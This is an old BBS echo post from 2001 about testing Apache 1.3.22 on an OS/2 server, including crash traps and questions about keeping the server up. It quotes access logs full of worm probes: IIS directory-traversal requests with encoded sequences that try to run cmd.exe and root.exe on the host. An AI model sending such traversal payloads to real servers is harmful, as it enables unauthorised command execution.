Subj : Apache 1.3.22 up but? To : All From : Mike Luther Date : Tue Oct 30 2001 02:20 am Well, Apache 1.3.22 is up and running for test purposes at the already known 208.180.150.64 address for 1:117/3001 here as well as on some other boxen for research .. I stuck my, not-designed-to-ever-encourgage-web-traffic page mirrored on it for test purposes here on site. The idea being that it is still going to be far cheaper to eventually use the fixed IP address I'm stabilizing, or trying to, instead of pay my IP to host dis and dat. Well maybe .. Instantly .. about a quarter of a meg a day even on this DHCP address of logs similar to: 208.180.150.64 - - [26/Oct/2001:20:00:00 +0000] "GET /apache_pb.gif HTTP/1.0" 200 2326 208.180.221.87 - - [26/Oct/2001:20:15:43 +0000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280 208.180.221.87 - - [26/Oct/2001:20:15:44 +0000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278 208.180.221.87 - - [26/Oct/2001:20:15:49 +0000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288 208.180.221.87 - - [26/Oct/2001:20:15:50 +0000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288 208.180.221.87 - - [26/Oct/2001:20:15:52 +0000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 208.180.221.87 - - [26/Oct/2001:20:15:53 +0000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319 208.180.221.87 - - [26/Oct/2001:20:15:55 +0000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 319 208.180.221.87 - - [26/Oct/2001:20:15:57 +0000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335 208.180.221.87 - - [26/Oct/2001:20:16:07 +0000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 208.180.221.87 - - [26/Oct/2001:20:16:08 +0000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 208.180.221.87 - - [26/Oct/2001:20:16:10 +0000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 208.180.221.87 - - [26/Oct/2001:20:16:14 +0000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 208.180.221.87 - - [26/Oct/2001:20:16:15 +0000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 208.180.221.87 - - [26/Oct/2001:20:16:17 +0000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 208.180.221.87 - - [26/Oct/2001:20:16:27 +0000] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 208.180.221.87 - - [26/Oct/2001:20:16:28 +0000] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 Of course all the 208.180.###.### are coming from my COX IP's dominion! But gee, maybe I ought to let them suffer instead of asking IJFIRE to dump dis and dat and having to constantly re-write the dump matrix stuff? I see where Mikey has more to learn. On a more practical note, Apache has one other disturbing error I've seen for the first time. I get very few trap errors on this old 1542C Adaptec SCSI box! Yes, it is tape backed, even so that it only hosts all the BBS and TELNET and FTP server stuff ... but .. Apache has this nice need to perform a graceful shutdown rather than just whatever. And there are short kill scripts to help both do that as well as perform a graceful re-start. But remember! This is the box I've had some of these curious hard locks with no trap errors which .. now more conclusively point to the CANARY portion of NORMAN 4.73 that is looking at the SYSTEM stuff on scan going into DOS-VDM sessions via the OS/2 .CMD file which runs things.. One of them taught me a new lesson about APACHE 1.3.22 yesterday. If you abend the box and bring it up hard through CHKDSK, APACHE throws repeated SYS3175 after SYS3175 forever with the Desktop nearly locked if the TCP/IP interface is not up and running as the aut-load for the desktop attempts to rebuild the desktop from the crash. I quote: ------------------------------------------------------------ 10-29-2001 07:18:58 SYS3175 PID 0051 TID 0001 Slot 0077 C:\APACHE\HTTPD.EXE c0000005 1e4b51fc P1=00000001 P2=171b00d8 P3=XXXXXXXX P4=XXXXXXXX EAX=00000000 EBX=171b0080 ECX=00000001 EDX=00000000 ESI=000321d4 EDI=0004ffec DS=0053 DSACC=f0f3 DSLIM=ffffffff ES=0053 ESACC=f0f3 ESLIM=ffffffff FS=150b FSACC=00f3 FSLIM=00000030 GS=0000 GSACC=**** GSLIM=******** CS:EIP=005b:1e4b51fc CSACC=f0df CSLIM=ffffffff SS:ESP=0053:0282fd8c SSACC=f0f3 SSLIM=ffffffff EBP=0282fd98 FLG=00012202 LIBHTTPD.DLL 0001:000051fc I discovered that with a great deal of fanfare, I can intercept the building Desktop inbetween END, END, END, runs of the trap error message. One by one I can get all the BBS tasks and so on killed. Then inbetween the brief flashes of another SYS3175 error just like the above, I can open the APACHE folder, and then with work, slam in the KILL script which will properly terminate this beast! That is not good. Fine. I can go to use the RESTARTOBJECTSONLY game? Or maybe go to the method of restarting the entire Desktop and the WPS out of STARTUP folder? But I sure can't go to an auto-restart deal on a trap deal, can I? The box would forever get trapped in round after round of this! Knowing this now, early in the burn, How do I maintain the mission critical and especially REMOTE RESET capability of a box like this under this scenario? Any thought about using the KILL script as part of the .CMD file to fire off this beast on a STARTUP.CMD approach, then firing it off as a second step in that game? Equally important from an OS2INET standpoint, just what methodology does one use with our available OS/2 tools for net connectivity to keep a joint BBS and INET server presence up mission critical style? Inquiring mind wants to know. --> Sleep well; OS/2's still awake! ;) Mike @ 1:117/3001 --- Maximus/2 3.01 * Origin: Ziplog Public Port (1:117/3001) .